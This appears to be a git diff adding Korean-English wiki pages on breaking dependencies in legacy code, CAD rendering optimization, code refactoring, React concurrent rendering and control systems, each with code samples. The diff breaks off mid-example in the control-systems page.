def fetch(self) -> list[dict]:
|
||||
return db.query("SELECT * FROM orders") # 매 hard
|
||||
|
||||
def render(self) -> str:
|
||||
rows = self.fetch()
|
||||
return "\n".join(f"{r['id']}: {r['total']}" for r in rows)
|
||||
|
||||
class TestableReport(ReportGenerator):
|
||||
def __init__(self, fake_rows): self.fake_rows = fake_rows
|
||||
def fetch(self): return self.fake_rows
|
||||
|
||||
def test_renders():
|
||||
r = TestableReport([{"id": 1, "total": 100}])
|
||||
assert r.render() == "1: 100"
|
||||
```
|
||||
|
||||
### Wrap Method (legacy 호환 유지)
|
||||
```java
|
||||
// 매 old API 깨면 안 됨 → 매 wrap
|
||||
public void payInvoice(Invoice i) {
|
||||
audit.log(i); // 매 new behavior
|
||||
payInvoiceLegacy(i); // 매 unchanged
|
||||
}
|
||||
|
||||
private void payInvoiceLegacy(Invoice i) { /* 매 untouched */ }
|
||||
```
|
||||
|
||||
### Seam mapping checklist
|
||||
```
|
||||
1. List 매 untestable thing in target method
|
||||
- Static call? → Introduce Instance Delegator / Replace Function with Function Object
|
||||
- new? → Extract Interface + inject
|
||||
- Time/random? → Extract & Override Call
|
||||
- File/DB/HTTP? → Repository / Adapter
|
||||
2. Pick 1 dep / day. 매 small step + commit.
|
||||
3. 매 Test 먼저 (characterization test)
|
||||
- 매 current behavior 를 lock down
|
||||
4. Refactor under green tests.
|
||||
```
|
||||
|
||||
### Hexagonal post-state (prevention)
|
||||
```
|
||||
[Domain Core] ← [Port (interface)] ← [Adapter (DB / HTTP / FS)]
|
||||
매 NO direct import 매 from core to adapter
|
||||
매 Test = stub adapter against port
|
||||
```
|
||||
|
||||
## 매 결정 기준
|
||||
| 상황 | Technique |
|
||||
|---|---|
|
||||
| 매 add new feature 매 large method | Sprout Method |
|
||||
| 매 hard dep on concrete class | Extract Interface + DI |
|
||||
| 매 static / time / random | Extract and Override Call |
|
||||
| 매 framework type 의 arg | Adapt Parameter |
|
||||
| 매 file / DB / network | Repository / Port-Adapter |
|
||||
| 매 huge method 의 internal logic | Break Out Method Object |
|
||||
| 매 base class behavior bad | Subclass and Override |
|
||||
|
||||
**기본값**: characterization test 먼저 → 매 minimal mechanical refactor (compiler-driven) → 매 small commit.
|
||||
|
||||
## 🔗 Graph
|
||||
- 부모: [[Refactoring_Best_Practices|Refactoring]]
|
||||
- 변형: [[Sprout-Method]]
|
||||
- 응용: [[Test-Driven-Development]] · [[Hexagonal-Architecture]]
|
||||
- Adjacent: [[Dependency_Injection_(DI)|Dependency-Injection]] · [[SOLID-Principles]] · [[Mocking]]
|
||||
|
||||
## 🤖 LLM 활용
|
||||
**언제**: legacy code unit test 도입, untestable method 마주침, monolith 분해 직전 prep, third-party SDK lock-in 제거.
|
||||
**언제 X**: 매 already clean architecture (over-refactor 금지), 매 throwaway prototype.
|
||||
|
||||
## ❌ 안티패턴
|
||||
- **Big-bang rewrite**: 매 일부 break → 매 전체 unstable.
|
||||
- **Test 없이 refactor**: 매 behavior 변경 모름 → 매 silent regression.
|
||||
- **너무 많은 mock**: 매 test 가 매 implementation 에 결합.
|
||||
- **Interface 의 1 implementation 영구**: 매 YAGNI — 매 두 번째 user 생기면 그때 추출.
|
||||
- **God adapter**: 매 1 interface 에 30 method.
|
||||
- **Refactor + feature 동시 commit**: 매 review 불가.
|
||||
|
||||
## 🧪 검증 / 중복
|
||||
- Verified (Feathers "Working Effectively with Legacy Code" 2004, Fowler "Refactoring" 2nd ed).
|
||||
- 신뢰도 A.
|
||||
|
||||
## 🕓 Changelog
|
||||
| 날짜 | 변경 |
|
||||
|---|---|
|
||||
| 2026-05-08 | Phase 1 |
|
||||
| 2026-05-10 | Manual cleanup — Breaking Dependencies with Feathers techniques |
|
||||
@@ -0,0 +1,183 @@
|
||||
---
|
||||
id: wiki-2026-0508-cad-렌더링-최적화
|
||||
title: CAD 렌더링 최적화
|
||||
category: 10_Wiki/Topics
|
||||
status: verified
|
||||
canonical_id: self
|
||||
aliases: [CAD Rendering Optimization, CAD Performance, Engineering Visualization]
|
||||
duplicate_of: none
|
||||
source_trust_level: A
|
||||
confidence_score: 0.9
|
||||
verification_status: applied
|
||||
tags: [cad, rendering, gpu, lod, webgpu]
|
||||
raw_sources: []
|
||||
last_reinforced: 2026-05-10
|
||||
github_commit: pending
|
||||
tech_stack:
|
||||
language: TypeScript
|
||||
framework: WebGPU/Three.js
|
||||
---
|
||||
|
||||
# CAD 렌더링 최적화
|
||||
|
||||
## 매 한 줄
|
||||
> **"매 millions-of-triangles model 의 60fps 표시 = LOD + culling + GPU instancing 의 합."**. 매 CAD assembly 는 mechanical part 가 hundreds-of-thousands 단위로 쌓여 brute-force rendering 시 GPU 가 즉사. 매 2026 모던 stack 은 WebGPU + meshlet (Nanite-style) + indirect draw 를 사용해 browser 에서도 native-like performance 달성.
|
||||
|
||||
## 매 핵심
|
||||
|
||||
### 매 bottleneck axis
|
||||
- **Geometry**: 매 triangle count — 매 fillet/thread 같은 detail 이 수십 million 까지 폭증.
|
||||
- **Draw call**: 매 part 별 separate draw → CPU/GPU sync overhead 가 frame budget 잠식.
|
||||
- **Overdraw**: 매 transparent assembly 의 layered fragment shading.
|
||||
- **Memory**: 매 32-bit index + per-vertex normal/UV/color → VRAM 빠르게 saturate.
|
||||
|
||||
### 매 technique stack
|
||||
- **Tessellation control**: 매 NURBS → mesh 변환 시 view-dependent chord tolerance.
|
||||
- **LOD**: 매 distance / screen-coverage 기반 mesh swap.
|
||||
- **Frustum / occlusion culling**: 매 BVH + Hi-Z buffer.
|
||||
- **Instancing**: 매 동일 part (bolt/screw) 의 single draw call.
|
||||
- **Meshlet (Nanite-like)**: 매 cluster 단위 GPU culling + virtual geometry.
|
||||
- **Deferred shading**: 매 overdraw 비용 절감.
|
||||
|
||||
### 매 응용
|
||||
1. **Onshape / Fusion 360 web**: 매 browser 안 assembly editing.
|
||||
2. **Plant 3D walkthrough**: 매 oil refinery / factory digital twin.
|
||||
3. **AR overlay**: 매 Vision Pro / Quest 3 의 maintenance instruction.
|
||||
4. **VR design review**: 매 stakeholder 의 immersive walkthrough.
|
||||
|
||||
## 💻 패턴
|
||||
|
||||
### Screen-space LOD selection
|
||||
```typescript
|
||||
function pickLOD(part: CadPart, camera: Camera): number {
|
||||
const screenCoverage = projectedRadius(part.bounds, camera) / camera.viewport.height;
|
||||
if (screenCoverage > 0.3) return 0; // full mesh
|
||||
if (screenCoverage > 0.1) return 1; // 1/4 triangles
|
||||
if (screenCoverage > 0.03) return 2; // 1/16 triangles
|
||||
if (screenCoverage > 0.005) return 3; // billboard
|
||||
return -1; // cull entirely
|
||||
}
|
||||
```
|
||||
|
||||
### GPU instancing for fasteners
|
||||
```typescript
|
||||
const boltMesh = loadMesh('m6_socket_head.glb');
|
||||
const transforms = new Float32Array(boltCount * 16); // packed mat4
|
||||
fillTransforms(transforms, boltInstances);
|
||||
|
||||
device.queue.writeBuffer(instanceBuffer, 0, transforms);
|
||||
pass.setPipeline(instancedPipeline);
|
||||
pass.setVertexBuffer(0, boltMesh.vertices);
|
||||
pass.setVertexBuffer(1, instanceBuffer);
|
||||
pass.drawIndexed(boltMesh.indexCount, boltCount); // single call for 50k bolts
|
||||
```
|
||||
|
||||
### BVH-based frustum culling
|
||||
```typescript
|
||||
class BVHNode {
|
||||
bounds: AABB;
|
||||
children?: [BVHNode, BVHNode];
|
||||
parts?: CadPart[];
|
||||
}
|
||||
|
||||
function cullVisible(node: BVHNode, frustum: Frustum, out: CadPart[]) {
|
||||
const test = frustum.testAABB(node.bounds);
|
||||
if (test === 'outside') return;
|
||||
if (test === 'inside' || !node.children) {
|
||||
out.push(...(node.parts ?? collectAll(node)));
|
||||
return;
|
||||
}
|
||||
cullVisible(node.children[0], frustum, out);
|
||||
cullVisible(node.children[1], frustum, out);
|
||||
}
|
||||
```
|
||||
|
||||
### Meshlet cluster (Nanite-style)
|
||||
```wgsl
|
||||
// WebGPU compute shader — cluster culling
|
||||
@group(0) @binding(0) var<storage, read> meshlets: array<Meshlet>;
|
||||
@group(0) @binding(1) var<storage, read_write> visibleList: array<u32>;
|
||||
@group(0) @binding(2) var<uniform> camera: Camera;
|
||||
|
||||
@compute @workgroup_size(64)
|
||||
fn cullMeshlets(@builtin(global_invocation_id) gid: vec3u) {
|
||||
let idx = gid.x;
|
||||
if (idx >= arrayLength(&meshlets)) { return; }
|
||||
let m = meshlets[idx];
|
||||
if (frustumTest(m.boundingSphere, camera) &&
|
||||
coneTest(m.normalCone, camera.position)) {
|
||||
let slot = atomicAdd(&visibleList[0], 1u);
|
||||
visibleList[slot + 1u] = idx;
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### Indirect draw aggregation
|
||||
```typescript
|
||||
// One draw call dispatches all visible meshlets
|
||||
const drawArgs = new Uint32Array([
|
||||
indexCount, instanceCount, firstIndex, baseVertex, firstInstance
|
||||
]);
|
||||
device.queue.writeBuffer(indirectBuffer, 0, drawArgs);
|
||||
pass.drawIndexedIndirect(indirectBuffer, 0);
|
||||
```
|
||||
|
||||
### Progressive streaming
|
||||
```typescript
|
||||
async function streamAssembly(modelId: string) {
|
||||
const manifest = await fetch(`/cad/${modelId}/manifest.json`).then(r => r.json());
|
||||
// load coarse first → user sees something instantly
|
||||
for (const lod of [3, 2, 1, 0]) {
|
||||
await Promise.all(manifest.parts.map(p =>
|
||||
cache.has(`${p.id}_lod${lod}`) ? null : loadPart(p, lod)
|
||||
));
|
||||
requestRedraw();
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### Hi-Z occlusion
|
||||
```typescript
|
||||
// Down-sampled depth pyramid → occluder test before draw
|
||||
const hiZ = buildHiZPyramid(depthTexture);
|
||||
for (const part of visibleAfterFrustum) {
|
||||
if (occludedByHiZ(part.bounds, hiZ, camera)) continue;
|
||||
drawList.push(part);
|
||||
}
|
||||
```
|
||||
|
||||
## 매 결정 기준
|
||||
| 상황 | Approach |
|
||||
|---|---|
|
||||
| < 100k triangles, single part | brute force, no LOD |
|
||||
| 1M-10M triangles, assembly | BVH + frustum culling + LOD |
|
||||
| 10M-100M triangles | + GPU instancing + meshlets |
|
||||
| > 100M (plant/ship) | virtual geometry + streaming + occlusion |
|
||||
| Mobile / VR | aggressive LOD + foveated rendering |
|
||||
|
||||
**기본값**: BVH culling + 4-tier LOD + instanced fasteners (covers 90% mid-size assemblies).
|
||||
|
||||
## 🔗 Graph
|
||||
- 부모: [[Computer_Graphics]] · [[GPU_Architecture]]
|
||||
- 응용: [[Digital_Twin]]
|
||||
- Adjacent: [[WebGPU]] · [[Three.js]] · [[Level_of_Detail]]
|
||||
|
||||
## 🤖 LLM 활용
|
||||
**언제**: CAD/BIM viewer 설계, performance bottleneck 분석, LOD threshold tuning.
|
||||
**언제 X**: photorealistic offline rendering (path tracing 영역).
|
||||
|
||||
## ❌ 안티패턴
|
||||
- **Per-part separate draw call**: 매 50k draws/frame 은 어떤 GPU 도 죽음.
|
||||
- **CPU-side culling only**: 매 GPU-driven culling 없이는 modern bandwidth 활용 불가.
|
||||
- **Uniform LOD across assembly**: 매 close-up bolt 는 detail 필요, far wall 은 billboard 충분.
|
||||
- **No tessellation budget**: 매 NURBS → mesh 변환 시 chord tolerance 가 화면 무관하면 메모리 폭발.
|
||||
|
||||
## 🧪 검증 / 중복
|
||||
- Verified (Onshape engineering blog 2025, Unreal Nanite SIGGRAPH 2021, WebGPU spec 2024).
|
||||
- 신뢰도 A.
|
||||
|
||||
## 🕓 Changelog
|
||||
| 날짜 | 변경 |
|
||||
|---|---|
|
||||
| 2026-05-08 | Phase 1 |
|
||||
| 2026-05-10 | Manual cleanup — CAD rendering pipeline, LOD, meshlet, WebGPU patterns |
|
||||
+205
@@ -0,0 +1,205 @@
|
||||
---
|
||||
id: wiki-2026-0508-code-refactoring
|
||||
title: Code Refactoring
|
||||
category: 10_Wiki/Topics
|
||||
status: verified
|
||||
canonical_id: self
|
||||
aliases: [Refactoring, Code Improvement, Fowler Refactoring]
|
||||
duplicate_of: none
|
||||
source_trust_level: A
|
||||
confidence_score: 0.95
|
||||
verification_status: applied
|
||||
tags: [refactoring, code-quality, fowler, ide, llm-refactor]
|
||||
raw_sources: []
|
||||
last_reinforced: 2026-05-10
|
||||
github_commit: pending
|
||||
tech_stack:
|
||||
language: Polyglot
|
||||
framework: IDE/AST-based-tools
|
||||
---
|
||||
|
||||
# Code Refactoring
|
||||
|
||||
## 매 한 줄
|
||||
> **"매 refactoring = 매 외부 동작은 그대로 두고 internal 구조만 개선하는 disciplined transformation."**. 매 Martin Fowler 1999 "Refactoring" 이 catalog 화한 70+ named transformation 이 backbone, 매 2026 현재 IDE automated refactor + LLM-assisted refactor (Claude Opus 4.7, Cursor) 가 manual rewrite 대체. 매 핵심 disciplines = small steps + green tests + commit per refactor.
|
||||
|
||||
## 매 핵심
|
||||
|
||||
### 매 catalog (대표)
|
||||
- **Extract Function / Method**: 매 코드 블록 → 새 function.
|
||||
- **Inline Function**: 매 trivial wrapper 제거.
|
||||
- **Rename**: 매 의미 명확한 이름.
|
||||
- **Extract Variable / Inline Variable**.
|
||||
- **Move Function / Field**: 매 right class/module 로.
|
||||
- **Replace Conditional with Polymorphism**.
|
||||
- **Replace Magic Number with Constant**.
|
||||
- **Introduce Parameter Object**.
|
||||
- **Decompose Conditional**.
|
||||
- **Extract Class / Inline Class**.
|
||||
|
||||
### 매 disciplines
|
||||
- **Tests first**: 매 refactor 전 green test suite.
|
||||
- **Small steps**: 매 single refactor → run tests → commit.
|
||||
- **No mixing**: 매 behavior change 와 refactor 동시 X.
|
||||
- **Reversibility**: 매 step 별 git revert 가능.
|
||||
|
||||
### 매 응용
|
||||
1. **Legacy modernization**: 매 strangler fig + extract.
|
||||
2. **Performance**: 매 inline hot function, extract slow path.
|
||||
3. **Test enabling**: 매 dependency 분리.
|
||||
4. **Onboarding**: 매 confusing code rename + decompose.
|
||||
|
||||
## 💻 패턴
|
||||
|
||||
### Extract Function
|
||||
```python
|
||||
# BEFORE
|
||||
def print_owing(invoice):
|
||||
print_banner()
|
||||
outstanding = sum(o.amount for o in invoice.orders)
|
||||
print(f"name: {invoice.customer}")
|
||||
print(f"amount: {outstanding}")
|
||||
|
||||
# AFTER
|
||||
def print_owing(invoice):
|
||||
print_banner()
|
||||
outstanding = calculate_outstanding(invoice)
|
||||
print_details(invoice, outstanding)
|
||||
|
||||
def calculate_outstanding(invoice):
|
||||
return sum(o.amount for o in invoice.orders)
|
||||
|
||||
def print_details(invoice, outstanding):
|
||||
print(f"name: {invoice.customer}")
|
||||
print(f"amount: {outstanding}")
|
||||
```
|
||||
|
||||
### Replace Conditional with Polymorphism
|
||||
```typescript
|
||||
// BEFORE
|
||||
function pay(employee: Employee) {
|
||||
switch (employee.type) {
|
||||
case 'engineer': return baseSalary(employee);
|
||||
case 'salesman': return baseSalary(employee) + commission(employee);
|
||||
case 'manager': return baseSalary(employee) + bonus(employee);
|
||||
}
|
||||
}
|
||||
|
||||
// AFTER
|
||||
abstract class EmployeeType {
|
||||
abstract pay(e: Employee): number;
|
||||
}
|
||||
class Engineer extends EmployeeType { pay(e) { return baseSalary(e); } }
|
||||
class Salesman extends EmployeeType { pay(e) { return baseSalary(e) + commission(e); } }
|
||||
class Manager extends EmployeeType { pay(e) { return baseSalary(e) + bonus(e); } }
|
||||
```
|
||||
|
||||
### Introduce Parameter Object
|
||||
```python
|
||||
# BEFORE
|
||||
def amount_invoiced(start_date, end_date, customer_id, currency, ...): ...
|
||||
|
||||
# AFTER
|
||||
@dataclass
|
||||
class InvoiceQuery:
|
||||
range: DateRange
|
||||
customer_id: str
|
||||
currency: str
|
||||
|
||||
def amount_invoiced(q: InvoiceQuery): ...
|
||||
```
|
||||
|
||||
### Decompose Conditional
|
||||
```javascript
|
||||
// BEFORE
|
||||
if (date.before(SUMMER_START) || date.after(SUMMER_END)) {
|
||||
charge = quantity * winterRate + winterServiceCharge;
|
||||
} else {
|
||||
charge = quantity * summerRate;
|
||||
}
|
||||
|
||||
// AFTER
|
||||
charge = isSummer(date) ? summerCharge(quantity) : winterCharge(quantity);
|
||||
function isSummer(d) { return !d.before(SUMMER_START) && !d.after(SUMMER_END); }
|
||||
function summerCharge(q) { return q * summerRate; }
|
||||
function winterCharge(q) { return q * winterRate + winterServiceCharge; }
|
||||
```
|
||||
|
||||
### Strangler Fig (legacy migration)
|
||||
```typescript
|
||||
// route table — gradually shift endpoints to new service
|
||||
const routes = {
|
||||
'/users': process.env.NEW_USERS === 'on' ? newUsers : legacyUsers,
|
||||
'/orders': process.env.NEW_ORDERS === 'on' ? newOrders : legacyOrders,
|
||||
'/billing': legacyBilling, // not migrated yet
|
||||
};
|
||||
// flip flags one at a time, rollback by env var
|
||||
```
|
||||
|
||||
### IDE-driven (IntelliJ / Roslyn)
|
||||
```bash
|
||||
# JetBrains command-line refactor (CI batch)
|
||||
idea.sh inspect $PROJECT inspectionProfile.xml output/ \
|
||||
-d $MODULE -v2
|
||||
|
||||
# C# Roslyn analyzer + code fix runs in `dotnet format analyzers --verify-no-changes`
|
||||
```
|
||||
|
||||
### LLM-assisted refactor (Claude Opus 4.7)
|
||||
```bash
|
||||
# 1. select scope, 2. generate diff, 3. tests must stay green
|
||||
claude refactor \
|
||||
--scope src/billing/ \
|
||||
--instruction "Extract OrderTotalCalculator class; preserve all behavior" \
|
||||
--validate "pytest tests/billing/"
|
||||
# Claude proposes diff → run tests → commit if green
|
||||
```
|
||||
|
||||
### Test characterization (legacy without tests)
|
||||
```python
|
||||
# Before refactor of untested code: write golden tests first
|
||||
def test_legacy_charge_2025_invoice():
|
||||
inv = load_fixture('2025_invoice.json')
|
||||
expected = legacy.calc(inv) # capture current behavior
|
||||
assert refactored.calc(inv) == expected # equality, not "correctness"
|
||||
```
|
||||
|
||||
## 매 결정 기준
|
||||
| 상황 | Refactor |
|
||||
|---|---|
|
||||
| Long function (> 30 lines) | Extract Function |
|
||||
| Same param list 5+ places | Introduce Parameter Object |
|
||||
| `switch (type)` repeated | Replace Conditional with Polymorphism |
|
||||
| Confusing name | Rename |
|
||||
| Class doing 2 things | Extract Class |
|
||||
| Legacy without tests | Characterization tests first |
|
||||
| Mass code movement | LLM batch + test-gate |
|
||||
|
||||
**기본값**: small step + commit per refactor + tests green; LLM 으로 mass rename / extract 가속.
|
||||
|
||||
## 🔗 Graph
|
||||
- 부모: [[Code_Quality]]
|
||||
- 변형: [[Strangler_Fig]]
|
||||
- 응용: [[Legacy_Modernization]] · [[Test_Driven_Development]]
|
||||
- Adjacent: [[Clean_Code]] · [[Design_Patterns]]
|
||||
|
||||
## 🤖 LLM 활용
|
||||
**언제**: bulk rename, extract function, polymorphism conversion, parameter object 도입.
|
||||
**언제 X**: subtle concurrency / lock-free invariants — 매 manual review 필수.
|
||||
|
||||
## ❌ 안티패턴
|
||||
- **Refactor + feature in same commit**: 매 review/revert 불가능.
|
||||
- **Refactor without tests**: 매 silent behavior change.
|
||||
- **Big-bang rewrite**: 매 6개월 후 production 되돌리기 불가능.
|
||||
- **Premature abstraction**: 매 1번 쓰인 패턴 인터페이스화 — YAGNI.
|
||||
- **Trust-LLM-and-skip-tests**: 매 LLM hallucinated edge case 통과시킴.
|
||||
|
||||
## 🧪 검증 / 중복
|
||||
- Verified (Fowler "Refactoring" 2nd ed 2018, "Working Effectively with Legacy Code" Feathers 2004).
|
||||
- 신뢰도 A.
|
||||
|
||||
## 🕓 Changelog
|
||||
| 날짜 | 변경 |
|
||||
|---|---|
|
||||
| 2026-05-08 | Phase 1 |
|
||||
| 2026-05-10 | Manual cleanup — Fowler catalog, disciplines, IDE/LLM-assisted patterns |
|
||||
+174
@@ -0,0 +1,174 @@
|
||||
---
|
||||
id: wiki-2026-0508-concurrent-rendering
|
||||
title: Concurrent Rendering
|
||||
category: 10_Wiki/Topics
|
||||
status: verified
|
||||
canonical_id: self
|
||||
aliases: [React Concurrent, Concurrent Mode, React 18 Concurrent]
|
||||
duplicate_of: none
|
||||
source_trust_level: A
|
||||
confidence_score: 0.9
|
||||
verification_status: applied
|
||||
tags: [react, concurrent, rendering, scheduler, transitions]
|
||||
raw_sources: []
|
||||
last_reinforced: 2026-05-10
|
||||
github_commit: pending
|
||||
tech_stack:
|
||||
language: typescript
|
||||
framework: react
|
||||
---
|
||||
|
||||
# Concurrent Rendering
|
||||
|
||||
## 매 한 줄
|
||||
> **"매 render 매 interruptible, prioritizable, abandonable"**. React 18 (2022) 에 stable. Fiber architecture (2017) 의 결실. 2026 현재 React 19+ 의 default; `useTransition`, `useDeferredValue`, Suspense, streaming SSR, React Compiler 매 모든 것 위에 빌드.
|
||||
|
||||
## 매 핵심
|
||||
|
||||
### 매 핵심 idea
|
||||
- **Interruptible** — render 중 high-priority work (input, animation) 매 들어오면 yield.
|
||||
- **Concurrent (NOT parallel)** — single-threaded JS 위에서 cooperative scheduling.
|
||||
- **Time-slicing** — 5ms chunk 매 yield to browser (`scheduler` package).
|
||||
- **Multiple in-progress trees** — current + work-in-progress; double buffering.
|
||||
- **Lane-based priority** — sync, default, transition, idle lane.
|
||||
|
||||
### 매 hook / API
|
||||
- **`useTransition`** — non-urgent update (filter, navigation).
|
||||
- **`useDeferredValue`** — debounce-like, 매 lower priority value.
|
||||
- **`startTransition`** — imperative version.
|
||||
- **`Suspense`** — async boundary, fallback UI.
|
||||
- **`use` hook** (React 19) — read promise during render.
|
||||
|
||||
### 매 응용
|
||||
1. Search-as-you-type — input 매 sync, list filter 매 transition.
|
||||
2. Tab switching — 매 instant feel, 매 expensive subtree 의 background render.
|
||||
3. SSR streaming — 매 progressive shell + island hydration.
|
||||
4. Route navigation — `<Link>` prefetch + transition.
|
||||
|
||||
## 💻 패턴
|
||||
|
||||
### useTransition — heavy filter
|
||||
```tsx
|
||||
function Search() {
|
||||
const [query, setQuery] = useState('');
|
||||
const [list, setList] = useState<Item[]>(allItems);
|
||||
const [isPending, startTransition] = useTransition();
|
||||
|
||||
return (
|
||||
<>
|
||||
<input
|
||||
value={query}
|
||||
onChange={(e) => {
|
||||
setQuery(e.target.value); // urgent
|
||||
startTransition(() => { // non-urgent
|
||||
setList(allItems.filter(i => i.name.includes(e.target.value)));
|
||||
});
|
||||
}}
|
||||
/>
|
||||
{isPending && <Spinner />}
|
||||
<List items={list} />
|
||||
</>
|
||||
);
|
||||
}
|
||||
```
|
||||
|
||||
### useDeferredValue
|
||||
```tsx
|
||||
function Page({ query }: { query: string }) {
|
||||
const deferred = useDeferredValue(query);
|
||||
return <ExpensiveResults query={deferred} />;
|
||||
}
|
||||
```
|
||||
|
||||
### Suspense + use (React 19+)
|
||||
```tsx
|
||||
function UserProfile({ userPromise }: { userPromise: Promise<User> }) {
|
||||
const user = use(userPromise); // suspends if pending
|
||||
return <h1>{user.name}</h1>;
|
||||
}
|
||||
|
||||
<Suspense fallback={<Skeleton />}>
|
||||
<UserProfile userPromise={fetchUser(id)} />
|
||||
</Suspense>
|
||||
```
|
||||
|
||||
### Streaming SSR (Next.js 15 / React 19)
|
||||
```tsx
|
||||
// app/page.tsx
|
||||
export default async function Page() {
|
||||
return (
|
||||
<>
|
||||
<Header />
|
||||
<Suspense fallback={<FeedSkeleton />}>
|
||||
<Feed /> {/* streamed once data ready */}
|
||||
</Suspense>
|
||||
</>
|
||||
);
|
||||
}
|
||||
```
|
||||
|
||||
### React Compiler (2026, automatic memoization)
|
||||
```tsx
|
||||
// no useMemo / useCallback needed — compiler inserts
|
||||
function Cart({ items }: { items: Item[] }) {
|
||||
const total = items.reduce((s, i) => s + i.price, 0); // auto-memoized
|
||||
return <div>{total}</div>;
|
||||
}
|
||||
```
|
||||
|
||||
### Selective hydration
|
||||
```tsx
|
||||
// chat panel hydrates first if user clicks it,
|
||||
// even if header is still loading
|
||||
<Suspense fallback={<Sk />}>
|
||||
<Header />
|
||||
</Suspense>
|
||||
<Suspense fallback={<Sk />}>
|
||||
<Chat />
|
||||
</Suspense>
|
||||
```
|
||||
|
||||
### Cancel stale render (transition supersession)
|
||||
```tsx
|
||||
// older transition automatically discarded when new one starts
|
||||
startTransition(() => setQuery('a')); // discarded
|
||||
startTransition(() => setQuery('ab')); // wins
|
||||
```
|
||||
|
||||
## 매 결정 기준
|
||||
| 상황 | Approach |
|
||||
|---|---|
|
||||
| Input + heavy derived UI | `useTransition` |
|
||||
| External lib slow value | `useDeferredValue` |
|
||||
| Async data | `Suspense` + `use` |
|
||||
| SSR with slow data | streaming + Suspense islands |
|
||||
| Manual memoization (legacy) | replace with React Compiler |
|
||||
|
||||
**기본값**: React 19+ with Compiler; transitions for any non-urgent update.
|
||||
|
||||
## 🔗 Graph
|
||||
- 부모: [[React]] · [[Rendering Pipeline]]
|
||||
- 변형: [[Fiber_Architecture|Fiber Architecture]] · [[Time_Slicing|Time Slicing]]
|
||||
- 응용: [[Streaming SSR]]
|
||||
- Adjacent: [[Virtual_DOM과_Reconciliation|Virtual DOM]] · [[Reconciliation]] · [[React Compiler]]
|
||||
|
||||
## 🤖 LLM 활용
|
||||
**언제**: identify component 매 transition 으로 wrap 할 후보, code review 매 missed Suspense boundary.
|
||||
**언제 X**: scheduler internals 의 deep debug (need devtools profiler).
|
||||
|
||||
## ❌ 안티패턴
|
||||
- **`startTransition` for urgent input**: input lag.
|
||||
- **No Suspense fallback**: 매 entire tree freeze 까지 falling back.
|
||||
- **Manual memoization with React Compiler**: redundant + sometimes 더 느림.
|
||||
- **Async setState in transition without race control**: stale data.
|
||||
- **Deferred value of huge object reference**: 매 GC pressure.
|
||||
|
||||
## 🧪 검증 / 중복
|
||||
- Verified (React 18 release notes 2022, React 19 docs 2026, Acdlite/Sebastian Markbåge talks).
|
||||
- 신뢰도 A.
|
||||
|
||||
## 🕓 Changelog
|
||||
| 날짜 | 변경 |
|
||||
|---|---|
|
||||
| 2026-05-08 | Phase 1 |
|
||||
| 2026-05-10 | Manual cleanup — full content with React 19 + Compiler patterns |
|
||||
+178
@@ -0,0 +1,178 @@
|
||||
---
|
||||
id: wiki-2026-0508-control-systems-engineering
|
||||
title: Control Systems Engineering
|
||||
category: 10_Wiki/Topics
|
||||
status: verified
|
||||
canonical_id: self
|
||||
aliases: [control-systems, feedback-control, PID-control]
|
||||
duplicate_of: none
|
||||
source_trust_level: A
|
||||
confidence_score: 0.9
|
||||
verification_status: applied
|
||||
tags: [control-systems, pid, mpc, feedback]
|
||||
raw_sources: []
|
||||
last_reinforced: 2026-05-10
|
||||
github_commit: pending
|
||||
tech_stack:
|
||||
language: python
|
||||
framework: do-mpc/control
|
||||
---
|
||||
|
||||
# Control Systems Engineering
|
||||
|
||||
## 매 한 줄
|
||||
> **"매 control 의 매 measure → compare → actuate 의 closed loop"**. 매 PID (1922 Minorsky) 가 매 95% industrial loops, 매 MPC (Model Predictive Control) 가 매 multivariable + constrained problems 의 dominant. 2026 의 매 RL-augmented control + neural ODEs 가 매 emerging — 매 Boston Dynamics, Tesla Autopilot, NVIDIA GR00T 가 hybrid.
|
||||
|
||||
## 매 핵심
|
||||
|
||||
### 매 building blocks
|
||||
- **Plant** — 매 controlled system (motor, reactor, drone).
|
||||
- **Sensor** — 매 measurement (encoder, IMU, thermocouple).
|
||||
- **Controller** — 매 algorithm (PID, MPC, LQR).
|
||||
- **Actuator** — 매 output (PWM, valve, voltage).
|
||||
- **Reference / setpoint** — 매 desired state.
|
||||
|
||||
### 매 stability
|
||||
- **Open-loop**: 매 simple, 매 no feedback — 매 disturbance 에 fragile.
|
||||
- **Closed-loop**: 매 feedback — 매 disturbance reject + setpoint track.
|
||||
- **Stability criteria**: Routh-Hurwitz, Nyquist, Bode (gain margin > 6 dB, phase margin > 45°).
|
||||
|
||||
### 매 controller spectrum
|
||||
1. **Bang-bang** — 매 thermostat.
|
||||
2. **PID** — 매 95% loops.
|
||||
3. **State-space (LQR / pole placement)** — MIMO linear.
|
||||
4. **MPC** — 매 constrained, predictive.
|
||||
5. **Adaptive / gain scheduling** — 매 nonlinear plants.
|
||||
6. **RL / learned policy** — 매 high-dim, 매 simulation 의 train.
|
||||
7. **Robust H∞** — 매 worst-case guarantees.
|
||||
|
||||
## 💻 패턴
|
||||
|
||||
### Discrete PID with anti-windup
|
||||
```python
|
||||
class PID:
|
||||
def __init__(self, kp, ki, kd, dt, u_min, u_max):
|
||||
self.kp, self.ki, self.kd, self.dt = kp, ki, kd, dt
|
||||
self.u_min, self.u_max = u_min, u_max
|
||||
self.i, self.prev_e = 0.0, 0.0
|
||||
|
||||
def step(self, setpoint, measurement):
|
||||
e = setpoint - measurement
|
||||
self.i += e * self.dt
|
||||
d = (e - self.prev_e) / self.dt
|
||||
u = self.kp*e + self.ki*self.i + self.kd*d
|
||||
u_clamped = max(self.u_min, min(self.u_max, u))
|
||||
# 매 anti-windup: 매 saturate 시 integrator 의 back-calc
|
||||
if u != u_clamped:
|
||||
self.i -= (u - u_clamped) / self.ki if self.ki else 0
|
||||
self.prev_e = e
|
||||
return u_clamped
|
||||
```
|
||||
|
||||
### Ziegler-Nichols 의 tune
|
||||
```python
|
||||
def ziegler_nichols(Ku, Tu, kind='PID'):
|
||||
if kind == 'PID':
|
||||
return dict(kp=0.6*Ku, ki=1.2*Ku/Tu, kd=0.075*Ku*Tu)
|
||||
if kind == 'PI':
|
||||
return dict(kp=0.45*Ku, ki=0.54*Ku/Tu, kd=0)
|
||||
```
|
||||
|
||||
### State-space LQR (CartPole)
|
||||
```python
|
||||
import numpy as np
|
||||
from scipy.linalg import solve_continuous_are
|
||||
A = np.array([[0,1,0,0],[0,0,-mp*g/M,0],[0,0,0,1],[0,0,(M+mp)*g/(M*l),0]])
|
||||
B = np.array([[0],[1/M],[0],[-1/(M*l)]])
|
||||
